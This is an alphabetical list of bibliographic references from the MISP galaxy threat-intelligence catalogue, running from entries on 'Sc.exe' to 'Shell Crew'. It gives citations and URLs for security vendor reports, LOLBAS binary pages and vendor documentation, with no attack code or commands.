Table 22934. Table References

Links
https://www.trellix.com/blogs/research/scattered-spider-the-modus-operandi/

Sc.exe - LOLBAS Project

LOLBAS. (2018, May 25). Sc.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Sc.exe - LOLBAS Project"*

Table 22935. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Sc/

TechNet Forum Scheduled Task Operational Setting

Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017.

The tag is: *misp-galaxy:references="TechNet Forum Scheduled Task Operational Setting"*

Table 22936. Table References

Links
https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen

Kifarunix - Task Scheduling in Linux

Koromicha. (2019, September 7). Scheduling tasks using at command in Linux. Retrieved December 3, 2019.

The tag is: *misp-galaxy:references="Kifarunix - Task Scheduling in Linux"*

Table 22937. Table References

Links
https://kifarunix.com/scheduling-tasks-using-at-command-in-linux/

TechNet Schtasks

Microsoft. (n.d.). Schtasks. Retrieved April 28, 2016.

The tag is: *misp-galaxy:references="TechNet Schtasks"*

Table 22938. Table References

Links
https://technet.microsoft.com/en-us/library/bb490996.aspx

Schtasks.exe - LOLBAS Project

LOLBAS. (2018, May 25). Schtasks.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Schtasks.exe - LOLBAS Project"*

Table 22939. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Schtasks/

Secplicity Rhysida May 23 2023

Ryan Estes. (2023, May 23). Scratching the Surface of Rhysida Ransomware. Retrieved August 11, 2023.

The tag is: *misp-galaxy:references="Secplicity Rhysida May 23 2023"*

Table 22940. Table References

Links
https://www.secplicity.org/2023/05/23/scratching-the-surface-of-rhysida-ransomware/

Wikipedia Screensaver

Wikipedia. (2017, November 22). Screensaver. Retrieved December 5, 2017.

The tag is: *misp-galaxy:references="Wikipedia Screensaver"*

Table 22941. Table References

Links
https://en.wikipedia.org/wiki/Screensaver

CobaltStrike Scripted Web Delivery

Strategic Cyber, LLC. (n.d.). Scripted Web Delivery. Retrieved January 23, 2018.

The tag is: *misp-galaxy:references="CobaltStrike Scripted Web Delivery"*

Table 22942. Table References

Links
https://www.cobaltstrike.com/help-scripted-web-delivery

Cobalt Strike DCOM Jan 2017

Mudge, R. (2017, January 24). Scripting Matt Nelson's MMC20.Application Lateral Movement Technique. Retrieved November 21, 2017.

The tag is: *misp-galaxy:references="Cobalt Strike DCOM Jan 2017"*

Table 22943. Table References

Links
https://blog.cobaltstrike.com/2017/01/24/scripting-matt-nelsons-mmc20-application-lateral-movement-technique/

Scriptrunner.exe - LOLBAS Project

LOLBAS. (2018, May 25). Scriptrunner.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Scriptrunner.exe - LOLBAS Project"*

Table 22944. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Scriptrunner/

SS64

SS64. (n.d.). ScriptRunner.exe. Retrieved July 8, 2024.

The tag is: *misp-galaxy:references="SS64"*

Table 22945. Table References

Links
https://ss64.com/nt/scriptrunner.html

Scrobj.dll - LOLBAS Project

LOLBAS. (2021, January 7). Scrobj.dll. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Scrobj.dll - LOLBAS Project"*

Table 22946. Table References

Links
https://lolbas-project.github.io/lolbas/Libraries/Scrobj/

Microsoft SDelete July 2016

Russinovich, M. (2016, July 4). SDelete v2.0. Retrieved February 8, 2018.

The tag is: *misp-galaxy:references="Microsoft SDelete July 2016"*

Table 22947. Table References

Links
https://docs.microsoft.com/en-us/sysinternals/downloads/sdelete

Security Alliance | SEAL April 14 2025

Security Alliance | SEAL. (2025, April 14). SEAL Releases Advisory on ELUSIVE COMET. Retrieved May 5, 2025.

The tag is: *misp-galaxy:references="Security Alliance | SEAL April 14 2025"*

Table 22948. Table References

Links
https://www.securityalliance.org/news/2025-03-elusive-comet

Sean Metcalf Twitter DNS Records

Sean Metcalf. (2019, May 9). Sean Metcalf Twitter. Retrieved September 12, 2024.

The tag is: *misp-galaxy:references="Sean Metcalf Twitter DNS Records"*

Table 22949. Table References

Links
https://x.com/PyroTek3/status/1126487227712921600

AWS CloudTrail Search

Amazon. (n.d.). Search CloudTrail logs for API calls to EC2 Instances. Retrieved June 17, 2020.

The tag is: *misp-galaxy:references="AWS CloudTrail Search"*

Table 22950. Table References

Links
https://aws.amazon.com/premiumsupport/knowledge-center/cloudtrail-search-api-calls/

Talos Sea Turtle 2019

Cisco Talos. (2019, April 17). Sea Turtle: DNS Hijacking Abuses Trust In Core Internet Service. Retrieved November 20, 2024.

The tag is: *misp-galaxy:references="Talos Sea Turtle 2019"*

Table 22951. Table References

Links
https://blog.talosintelligence.com/seaturtle/

Talos Sea Turtle 2019_2

Paul Rascagneres. (2019, July 9). Sea Turtle keeps on swimming, finds new victims, DNS hijacking techniques. Retrieved November 20, 2024.

The tag is: *misp-galaxy:references="Talos Sea Turtle 2019_2"*

Table 22952. Table References

Links
https://blog.talosintelligence.com/sea-turtle-keeps-on-swimming/

Group IB Cobalt Aug 2017

Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.

The tag is: *misp-galaxy:references="Group IB Cobalt Aug 2017"*

Table 22953. Table References

Links
https://www.group-ib.com/blog/cobalt

GitHub SHB Credential Guard

NSA IAD. (2017, April 20). Secure Host Baseline - Credential Guard. Retrieved April 25, 2017.

The tag is: *misp-galaxy:references="GitHub SHB Credential Guard"*

Table 22954. Table References

Links
https://github.com/iadgov/Secure-Host-Baseline/tree/master/Credential%20Guard

Secure Host Baseline EMET

National Security Agency. (2016, May 4). Secure Host Baseline EMET. Retrieved June 22, 2016.

The tag is: *misp-galaxy:references="Secure Host Baseline EMET"*

Table 22955. Table References

Links
https://github.com/iadgov/Secure-Host-Baseline/tree/master/EMET

TechNet Secure Boot Process

Microsoft. (n.d.). Secure the Windows 10 boot process. Retrieved April 23, 2020.

The tag is: *misp-galaxy:references="TechNet Secure Boot Process"*

Table 22956. Table References

Links
https://docs.microsoft.com/en-us/windows/security/information-protection/secure-the-windows-10-boot-process

SecureWorks August 2019

SecureWorks. (2019, August 27) LYCEUM Takes Center Stage in Middle East Campaign. Retrieved November 19, 2019

The tag is: *misp-galaxy:references="SecureWorks August 2019"*

Table 22957. Table References

Links
https://www.secureworks.com/blog/lyceum-takes-center-stage-in-middle-east-campaign

SecureWorks September 2019

SecureWorks. (2019, September 24) REvil/Sodinokibi Ransomware. Retrieved April 12, 2021

The tag is: *misp-galaxy:references="SecureWorks September 2019"*

Table 22958. Table References

Links
https://www.secureworks.com/research/revil-sodinokibi-ransomware

Securing bash history

Mathew Branwell. (2012, March 21). Securing .bash_history file. Retrieved July 8, 2017.

The tag is: *misp-galaxy:references="Securing bash history"*

Table 22959. Table References

Links
http://www.akyl.net/securing-bashhistory-file-make-sure-your-linux-system-users-won%E2%80%99t-hide-or-delete-their-bashhistory

Microsoft Securing Privileged Access

Plett, C., Poggemeyer, L. (2012, October 26). Securing Privileged Access Reference Material. Retrieved April 25, 2017.

The tag is: *misp-galaxy:references="Microsoft Securing Privileged Access"*

Table 22960. Table References

Links
https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material#a-nameesaebmaesae-administrative-forest-design-approach

Berkley Secure

Berkeley Security, University of California. (n.d.). Securing Remote Desktop for System Administrators. Retrieved November 4, 2014.

The tag is: *misp-galaxy:references="Berkley Secure"*

Table 22961. Table References

Links
https://security.berkeley.edu/node/94

Cisco Securing SNMP

Cisco. (2006, May 10). Securing Simple Network Management Protocol. Retrieved October 19, 2020.

The tag is: *misp-galaxy:references="Cisco Securing SNMP"*

Table 22962. Table References

Links
https://www.cisco.com/c/en/us/support/docs/ip/simple-network-management-protocol-snmp/20370-snmpsecurity-20370.html

ADSecurity Windows Secure Baseline

Metcalf, S. (2016, October 21). Securing Windows Workstations: Developing a Secure Baseline. Retrieved November 17, 2017.

The tag is: *misp-galaxy:references="ADSecurity Windows Secure Baseline"*

Table 22963. Table References

Links
https://adsecurity.org/?p=3299

Morphisec ShellTea June 2019

Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. Retrieved June 13, 2019.

The tag is: *misp-galaxy:references="Morphisec ShellTea June 2019"*

Table 22964. Table References

Links
http://blog.morphisec.com/security-alert-fin8-is-back

Carbon Black Obfuscation Sept 2016

Tedesco, B. (2016, September 23). Security Alert Summary. Retrieved February 12, 2018.

The tag is: *misp-galaxy:references="Carbon Black Obfuscation Sept 2016"*

Table 22965. Table References

Links
https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/

NIST Special Publication 800-53 Revision 5

National Institute of Standards and Technology. (2020, September). Security and Privacy Controlsfor Information Systems and Organizations. Retrieved August 30, 2024.

The tag is: *misp-galaxy:references="NIST Special Publication 800-53 Revision 5"*

Table 22966. Table References

Links
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-53r5.pdf

Havana authentication bug

Jay Pipes. (2013, December 23). Security Breach! Tenant A is seeing the VNC Consoles of Tenant B!. Retrieved September 12, 2024.

The tag is: *misp-galaxy:references="Havana authentication bug"*

Table 22967. Table References

Links
https://lists.openstack.org/pipermail/openstack/2013-December/004138.html

Proofpoint November 18 2024

Tommy Madjar; Selena Larson; The Proofpoint Threat Research Team. (2024, November 18). Security Brief ClickFix Social Engineering Technique Floods Threat Landscape . Retrieved February 7, 2025.

The tag is: *misp-galaxy:references="Proofpoint November 18 2024"*

Table 22968. Table References

Links
https://www.proofpoint.com/uk/blog/threat-insight/security-brief-clickfix-social-engineering-technique-floods-threat-landscape?ref=blog.reveng.ai

Proofpoint ClickFix 2024

Tommy Madjar, Selena Larson and The Proofpoint Threat Research Team. (2024, November 18). Security Brief: ClickFix Social Engineering Technique Floods Threat Landscape. Retrieved March 18, 2025.

The tag is: *misp-galaxy:references="Proofpoint ClickFix 2024"*

Table 22969. Table References

Links
https://www.proofpoint.com/us/blog/threat-insight/security-brief-clickfix-social-engineering-technique-floods-threat-landscape

Proofpoint TA450 Phishing March 2024

Miller, J. et al. (2024, March 21). Security Brief: TA450 Uses Embedded Links in PDF Attachments in Latest Campaign. Retrieved March 27, 2024.

The tag is: *misp-galaxy:references="Proofpoint TA450 Phishing March 2024"*

Table 22970. Table References

Links
https://www.proofpoint.com/us/blog/threat-insight/security-brief-ta450-uses-embedded-links-pdf-attachments-latest-campaign

Microsoft Trust Considerations Nov 2014

Microsoft. (2014, November 19). Security Considerations for Trusts. Retrieved November 30, 2017.

The tag is: *misp-galaxy:references="Microsoft Trust Considerations Nov 2014"*

Table 22971. Table References

Links
https://technet.microsoft.com/library/cc755321.aspx

Dark Reading July 17 2024

Nate Nelson; Contributing Writer. (2024, July 17). Security End-Run 'AuKill' Shuts Down Windows-Reliant EDR Processes. Retrieved April 8, 2025.

The tag is: *misp-galaxy:references="Dark Reading July 17 2024"*

Table 22972. Table References

Links
https://www.darkreading.com/endpoint-security/security-end-run-aukill-shuts-down-windows-reliant-edr-processes

AWS Sec Groups VPC

Amazon. (n.d.). Security groups for your VPC. Retrieved October 13, 2021.

The tag is: *misp-galaxy:references="AWS Sec Groups VPC"*

Table 22973. Table References

Links
https://docs.aws.amazon.com/vpc/latest/userguide/VPC_SecurityGroups.html

Microsoft SID

Microsoft. (n.d.). Security Identifiers. Retrieved November 30, 2017.

The tag is: *misp-galaxy:references="Microsoft SID"*

Table 22974. Table References

Links

https://msdn.microsoft.com/library/windows/desktop/aa379571.aspx

Schneider Electric USB Malware

Schneider Electric. (2018, August 24). Security Notification – USB Removable Media Provided With Conext Combox and Conext Battery Monitor. Retrieved May 28, 2019.

The tag is: *misp-galaxy:references="Schneider Electric USB Malware"*

Table 22975. Table References

Links
https://www.se.com/us/en/download/document/SESN-2018-236-01/

Electron 3

Alanna Titterington. (2023, September 14). Security of Electron-based desktop applications. Retrieved March 7, 2024.

The tag is: *misp-galaxy:references="Electron 3"*

Table 22976. Table References

Links
https://www.kaspersky.com/blog/electron-framework-security-issues/49035/

Apple Dev SecurityD

Apple. (n.d.). Security Server and Security Agent. Retrieved March 29, 2024.

The tag is: *misp-galaxy:references="Apple Dev SecurityD"*

Table 22977. Table References

Links
https://developer.apple.com/library/archive/documentation/Security/Conceptual/Security_Overview/Architecture/Architecture.html

Microsoft Security Subsystem

Microsoft. (n.d.). Security Subsystem Architecture. Retrieved November 27, 2017.

The tag is: *misp-galaxy:references="Microsoft Security Subsystem"*

Table 22978. Table References

Links
https://technet.microsoft.com/library/cc961760.aspx

CISA IDN ST05-016

CISA. (2019, September 27). Security Tip (ST05-016): Understanding Internationalized Domain Names. Retrieved October 20, 2020.

The tag is: *misp-galaxy:references="CISA IDN ST05-016"*

Table 22979. Table References

Links
https://us-cert.cisa.gov/ncas/tips/ST05-016

Azure AD Federation Vulnerability

Dr. Nestori Syynimaa.. (2017, November 16). Security vulnerability in Azure AD & Office 365 identity federation. Retrieved February 1, 2022.

The tag is: *misp-galaxy:references="Azure AD Federation Vulnerability"*

Table 22980. Table References

Links
https://o365blog.com/post/federation-vulnerability/

AADInternals zure AD Federated Domain

Dr. Nestori Syynimaa. (2017, November 16). Security vulnerability in Azure AD & Office 365 identity federation. Retrieved September 28, 2022.

The tag is: *misp-galaxy:references="AADInternals zure AD Federated Domain"*

Table 22981. Table References

Links
https://o365blog.com/post/federation-vulnerability/

ESET Sednit July 2015

ESET Research. (2015, July 10). Sednit APT Group Meets Hacking Team. Retrieved March 1, 2017.

The tag is: *misp-galaxy:references="ESET Sednit July 2015"*

Table 22982. Table References

Links
http://www.welivesecurity.com/2015/07/10/sednit-apt-group-meets-hacking-team/

ESET Sednit USBStealer 2014

Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.

The tag is: *misp-galaxy:references="ESET Sednit USBStealer 2014"*

Table 22983. Table References

Links
http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/

ESET Sednit 2017 Activity

ESET. (2017, December 21). Sednit update: How Fancy Bear Spent the Year. Retrieved February 18, 2019.

The tag is: *misp-galaxy:references="ESET Sednit 2017 Activity"*

Table 22984. Table References

Links
https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/

ESET Zebrocy Nov 2018

ESET. (2018, November 20). Sednit: What's going on with Zebrocy?. Retrieved February 12, 2019.

The tag is: *misp-galaxy:references="ESET Zebrocy Nov 2018"*

Table 22985. Table References

Links
https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/

Symantec MuddyWater Dec 2018

Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018.

The tag is: *misp-galaxy:references="Symantec MuddyWater Dec 2018"*

Table 22986. Table References

Links
https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group

SanDisk SMART

SanDisk. (n.d.). Self-Monitoring, Analysis and Reporting Technology (S.M.A.R.T.). Retrieved October 2, 2018.

The tag is: *misp-galaxy:references="SanDisk SMART"*

SELinux official

SELinux Project. (2017, November 30). SELinux Project Wiki. Retrieved December 20, 2017.

The tag is: *misp-galaxy:references="SELinux official"*

Table 22987. Table References

Links
https://selinuxproject.org/page/Main_Page

Microsoft SendNotifyMessage function

Microsoft. (n.d.). SendNotifyMessage function. Retrieved December 16, 2017.

The tag is: *misp-galaxy:references="Microsoft SendNotifyMessage function"*

Table 22988. Table References

Links
https://msdn.microsoft.com/library/windows/desktop/ms644953.aspx

DFIR Report Gootloader

The DFIR Report. (2022, May 9). SEO Poisoning – A Gootloader Story. Retrieved September 30, 2022.

The tag is: *misp-galaxy:references="DFIR Report Gootloader"*

Table 22989. Table References

Links
https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/

MalwareBytes SEO

Arntz, P. (2018, May 29). SEO poisoning: Is it worth it?. Retrieved September 30, 2022.

The tag is: *misp-galaxy:references="MalwareBytes SEO"*

Table 22990. Table References

Links

https://www.malwarebytes.com/blog/news/2018/05/seo-poisoning-is-it-worth-it

Sophos Attachment

Ducklin, P. (2020, October 2). Serious Security: Phishing without links – when phishers bring along their own web pages. Retrieved October 20, 2020.

The tag is: *misp-galaxy:references="Sophos Attachment"*

Table 22991. Table References

Links
https://nakedsecurity.sophos.com/2020/10/02/serious-security-phishing-without-links-when-phishers-bring-along-their-own-web-pages/

ProofPoint Serpent

Campbell, B. et al. (2022, March 21). Serpent, No Swiping! New Backdoor Targets French Entities with Unique Attack Chain. Retrieved April 11, 2022.

The tag is: *misp-galaxy:references="ProofPoint Serpent"*

Table 22992. Table References

Links
https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain

Wikipedia SMB

Wikipedia. (2016, June 12). Server Message Block. Retrieved June 12, 2016.

The tag is: *misp-galaxy:references="Wikipedia SMB"*

Table 22993. Table References

Links
https://en.wikipedia.org/wiki/Server_Message_Block

Wikipedia Server Message Block

Wikipedia. (2017, December 16). Server Message Block. Retrieved December 21, 2017.

The tag is: *misp-galaxy:references="Wikipedia Server Message Block"*

Table 22994. Table References

Links

https://en.wikipedia.org/wiki/Server_Message_Block

Proofpoint TA505 Jan 2019

Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019.

The tag is: *misp-galaxy:references="Proofpoint TA505 Jan 2019"*

Table 22995. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505

Kubernetes Service Accounts Security

Kubernetes. (n.d.). Service Accounts. Retrieved July 14, 2023.

The tag is: *misp-galaxy:references="Kubernetes Service Accounts Security"*

Table 22996. Table References

Links
https://kubernetes.io/docs/concepts/security/service-accounts/

GCP Service Accounts

Google. (n.d.). Service Accounts Overview. Retrieved February 28, 2024.

The tag is: *misp-galaxy:references="GCP Service Accounts"*

Table 22997. Table References

Links
https://cloud.google.com/iam/docs/service-account-overview

Microsoft Service Control Manager

Microsoft. (2018, May 31). Service Control Manager. Retrieved March 28, 2020.

The tag is: *misp-galaxy:references="Microsoft Service Control Manager"*

Table 22998. Table References

Links
https://docs.microsoft.com/windows/win32/services/service-control-manager

Rapid7 Service Persistence 22JUNE2016

Rapid7. (2016, June 22). Service Persistence. Retrieved April 23, 2019.

The tag is: *misp-galaxy:references="Rapid7 Service Persistence 22JUNE2016"*

Table 22999. Table References

Links
https://www.rapid7.com/db/modules/exploit/linux/local/service_persistence

Microsoft SPN

Microsoft. (n.d.). Service Principal Names. Retrieved March 22, 2018.

The tag is: *misp-galaxy:references="Microsoft SPN"*

Table 23000. Table References

Links
https://msdn.microsoft.com/library/ms677949.aspx

Microsoft SetSPN

Microsoft. (2010, April 13). Service Principal Names (SPNs) SetSPN Syntax (Setspn.exe). Retrieved March 22, 2018.

The tag is: *misp-galaxy:references="Microsoft SetSPN"*

Table 23001. Table References

Links
https://social.technet.microsoft.com/wiki/contents/articles/717.service-principal-names-spns-setspn-syntax-setspn-exe.aspx

Twitter Service Recovery Nov 2017

The Cyber (@r0wdy_). (2017, November 30). Service Recovery Parameters. Retrieved April 9, 2018.

The tag is: *misp-galaxy:references="Twitter Service Recovery Nov 2017"*

Table 23002. Table References

Links
https://twitter.com/r0wdy_/status/936365549553991680

Tweet Registry Perms Weakness

@r0wdy_. (2017, November 30). Service Recovery Parameters. Retrieved September 12, 2024.

The tag is: *misp-galaxy:references="Tweet Registry Perms Weakness"*

Table 23003. Table References

Links
https://x.com/r0wdy_/status/936365549553991680

TechNet Services

Microsoft. (n.d.). Services. Retrieved June 7, 2016.

The tag is: *misp-galaxy:references="TechNet Services"*

Table 23004. Table References

Links
https://technet.microsoft.com/en-us/library/cc772408.aspx

Krebs Access Brokers Fortune 500

Brian Krebs. (2012, October 22). Service Sells Access to Fortune 500 Firms. Retrieved March 10, 2023.

The tag is: *misp-galaxy:references="Krebs Access Brokers Fortune 500"*

Table 23005. Table References

Links
https://krebsonsecurity.com/2012/10/service-sells-access-to-fortune-500-firms/

Permiso SES Abuse 2023

Nathan Eades. (2023, January 12). SES-pionage. Retrieved September 25, 2024.

The tag is: *misp-galaxy:references="Permiso SES Abuse 2023"*

Table 23006. Table References

Links
https://permiso.io/blog/s/aws-ses-pionage-detecting-ses-abuse/

Session Management Cheat Sheet

OWASP CheatSheets Series Team. (n.d.). Session Management Cheat Sheet. Retrieved December 26,

2023.

The tag is: *misp-galaxy:references="Session Management Cheat Sheet"*

Table 23007. Table References

Links
https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html

Medium Authentication Tokens

Hsu, S. (2018, June 30). Session vs Token Based Authentication. Retrieved September 29, 2021.

The tag is: *misp-galaxy:references="Medium Authentication Tokens"*

Table 23008. Table References

Links
https://medium.com/@sherryhsu/session-vs-token-based-authentication-11a6c5ac45e4

Microsoft Set-InboxRule

Microsoft. (n.d.). Set-InboxRule. Retrieved June 7, 2021.

The tag is: *misp-galaxy:references="Microsoft Set-InboxRule"*

Table 23009. Table References

Links
https://docs.microsoft.com/en-us/powershell/module/exchange/set-inboxrule?view=exchange-ps

Setres.exe - LOLBAS Project

LOLBAS. (2022, October 21). Setres.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Setres.exe - LOLBAS Project"*

Table 23010. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Setres/

Microsoft Process Wide Com Keys

Microsoft. (n.d.). Setting Process-Wide Security Through the Registry. Retrieved November 21, 2017.

The tag is: *misp-galaxy:references="Microsoft Process Wide Com Keys"*

Table 23011. Table References

Links
https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx

SettingSyncHost.exe - LOLBAS Project

LOLBAS. (2021, August 26). SettingSyncHost.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="SettingSyncHost.exe - LOLBAS Project"*

Table 23012. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/SettingSyncHost/

Petri Logon Script AD

Daniel Petri. (2009, January 8). Setting up a Logon Script through Active Directory Users and Computers in Windows Server 2008. Retrieved November 15, 2019.

The tag is: *misp-galaxy:references="Petri Logon Script AD"*

Table 23013. Table References

Links
https://www.petri.com/setting-up-logon-script-through-active-directory-users-computers-windows-server-2008

AWS Setting Up Run Command

AWS. (n.d.). Setting up Run Command. Retrieved March 13, 2023.

The tag is: *misp-galaxy:references="AWS Setting Up Run Command"*

Table 23014. Table References

Links
https://docs.aws.amazon.com/systems-manager/latest/userguide/run-command-setting-up.html

VNC Authentication

Tegan. (2019, August 15). Setting up System Authentication. Retrieved September 20, 2021.

The tag is: *misp-galaxy:references="VNC Authentication"*

Table 23015. Table References

Links
https://help.realvnc.com/hc/en-us/articles/360002250097-Setting-up-System-Authentication

MacOS VNC software for Remote Desktop

Apple Support. (n.d.). Set up a computer running VNC software for Remote Desktop. Retrieved August 18, 2021.

The tag is: *misp-galaxy:references="MacOS VNC software for Remote Desktop"*

Table 23016. Table References

Links
https://support.apple.com/guide/remote-desktop/set-up-a-computer-running-vnc-software-apdbed09830/mac

Setupapi.dll - LOLBAS Project

LOLBAS. (2018, May 25). Setupapi.dll. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Setupapi.dll - LOLBAS Project"*

Table 23017. Table References

Links
https://lolbas-project.github.io/lolbas/Libraries/Setupapi/

Microsoft Service Recovery Feb 2013

Microsoft. (2013, February 22). Set up Recovery Actions to Take Place When a Service Fails. Retrieved April 9, 2018.

The tag is: *misp-galaxy:references="Microsoft Service Recovery Feb 2013"*

Table 23018. Table References

Links
https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11)

Microsoft SetWindowLong function

Microsoft. (n.d.). SetWindowLong function. Retrieved December 16, 2017.

The tag is: *misp-galaxy:references="Microsoft SetWindowLong function"*

Table 23019. Table References

Links
https://msdn.microsoft.com/library/windows/desktop/ms633591.aspx

Securelist ShadowPad Aug 2017

GReAT. (2017, August 15). ShadowPad in corporate networks. Retrieved March 22, 2021.

The tag is: *misp-galaxy:references="Securelist ShadowPad Aug 2017"*

Table 23020. Table References

Links
https://securelist.com/shadowpad-in-corporate-networks/81432/

Kaspersky ShadowPad Aug 2017

Kaspersky Lab. (2017, August). ShadowPad: popular server management software hit in supply chain attack. Retrieved March 22, 2021.

The tag is: *misp-galaxy:references="Kaspersky ShadowPad Aug 2017"*

Table 23021. Table References

Links
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2017/08/07172148/ShadowPad_technical_description_PDF.pdf

Oligo ShadowRay Campaign MAR 2024

Lumelsly, A. et al. (2024, March 26). ShadowRay: First Known Attack Campaign Targeting AI Workloads Actively Exploited In The Wild. Retrieved December 2, 2024.

The tag is: *misp-galaxy:references="Oligo ShadowRay Campaign MAR 2024"*

Table 23022. Table References

Links
https://www.oligo.security/blog/shadowray-attack-ai-workloads-actively-exploited-in-the-wild

Palo Alto Shamoon Nov 2016

Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.

The tag is: *misp-galaxy:references="Palo Alto Shamoon Nov 2016"*

Table 23023. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/

Unit 42 Shamoon3 2018

Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.

The tag is: *misp-galaxy:references="Unit 42 Shamoon3 2018"*

Table 23024. Table References

Links
https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/

McAfee Shamoon December19 2018

Roccia, T., Saavedra-Morales, J., Beek, C.. (2018, December 19). Shamoon Attackers Employ New Tool Kit to Wipe Infected Systems. Retrieved May 29, 2020.

The tag is: *misp-galaxy:references="McAfee Shamoon December19 2018"*

Table 23025. Table References

Links
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/shamoon-attackers-employ-new-tool-kit-to-wipe-infected-systems/

McAfee Shamoon December 2018

Mundo, A., Roccia, T., Saavedra-Morales, J., Beek, C.. (2018, December 14). Shamoon Returns to Wipe Systems in Middle East, Europe . Retrieved May 29, 2020.

The tag is: *misp-galaxy:references="McAfee Shamoon December 2018"*

Table 23026. Table References

Links
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/shamoon-returns-to-wipe-systems-in-middle-east-europe/

TechNet Shared Folder

Microsoft. (n.d.). Share a Folder or Drive. Retrieved June 30, 2017.

The tag is: *misp-galaxy:references="TechNet Shared Folder"*

Table 23027. Table References

Links
https://technet.microsoft.com/library/cc770880.aspx

AWS EBS Snapshot Sharing

Amazon Web Services. (n.d.). Share an Amazon EBS snapshot. Retrieved March 2, 2022.

The tag is: *misp-galaxy:references="AWS EBS Snapshot Sharing"*

Table 23028. Table References

Links
https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-modifying-snapshot-permissions.html

Linux Shared Libraries

Wheeler, D. (2003, April 11). Shared Libraries. Retrieved September 7, 2023.

The tag is: *misp-galaxy:references="Linux Shared Libraries"*

Table 23029. Table References

Links
https://tldp.org/HOWTO/Program-Library-HOWTO/shared-libraries.html

TLDP Shared Libraries

The Linux Documentation Project. (n.d.). Shared Libraries. Retrieved January 31, 2020.

The tag is: *misp-galaxy:references="TLDP Shared Libraries"*

Table 23030. Table References

Links
https://www.tldp.org/HOWTO/Program-Library-HOWTO/shared-libraries.html

Phrack halfdead 1997

halflife. (1997, September 1). Shared Library Redirection Techniques. Retrieved December 20, 2017.

The tag is: *misp-galaxy:references="Phrack halfdead 1997"*

Table 23031. Table References

Links
http://phrack.org/issues/51/8.html

Wikipedia Shared Resource

Wikipedia. (2017, April 15). Shared resource. Retrieved June 30, 2017.

The tag is: *misp-galaxy:references="Wikipedia Shared Resource"*

Table 23032. Table References

Links
https://en.wikipedia.org/wiki/Shared_resource

Sharepoint Sharing Events

Microsoft. (n.d.). Sharepoint Sharing Events. Retrieved October 8, 2021.

The tag is: *misp-galaxy:references="Sharepoint Sharing Events"*

Table 23033. Table References

Links
https://docs.microsoft.com/en-us/microsoft-365/compliance/use-sharing-auditing?view=o365-worldwide#sharepoint-sharing-events

GitHub GhostPack Certificates

HarmJ0y. (2018, August 22). SharpDPAPI - Certificates. Retrieved August 2, 2022.

The tag is: *misp-galaxy:references="GitHub GhostPack Certificates"*

Table 23034. Table References

Links
https://github.com/GhostPack/SharpDPAPI#certificates

Shdocvw.dll - LOLBAS Project

LOLBAS. (2018, May 25). Shdocvw.dll. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Shdocvw.dll - LOLBAS Project"*

Table 23035. Table References

Links
https://lolbas-project.github.io/lolbas/Libraries/Shdocvw/

Securelist Turla Oct 2018

Kaspersky Lab's Global Research & Analysis Team. (2018, October 04). Shedding Skin – Turla's Fresh Faces. Retrieved November 7, 2018.

The tag is: *misp-galaxy:references="Securelist Turla Oct 2018"*

Table 23036. Table References

Links
https://securelist.com/shedding-skin-turlas-fresh-faces/88069/

Shell32.dll - LOLBAS Project

LOLBAS. (2018, May 25). Shell32.dll. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Shell32.dll - LOLBAS Project"*

Table 23037. Table References

Links
https://lolbas-project.github.io/lolbas/Libraries/Shell32/

Cylance Shell Crew Feb 2017

Cylance SPEAR Team. (2017, February 9). Shell Crew Variants Continue to Fly Under Big AV's Radar. Retrieved February 15, 2017.

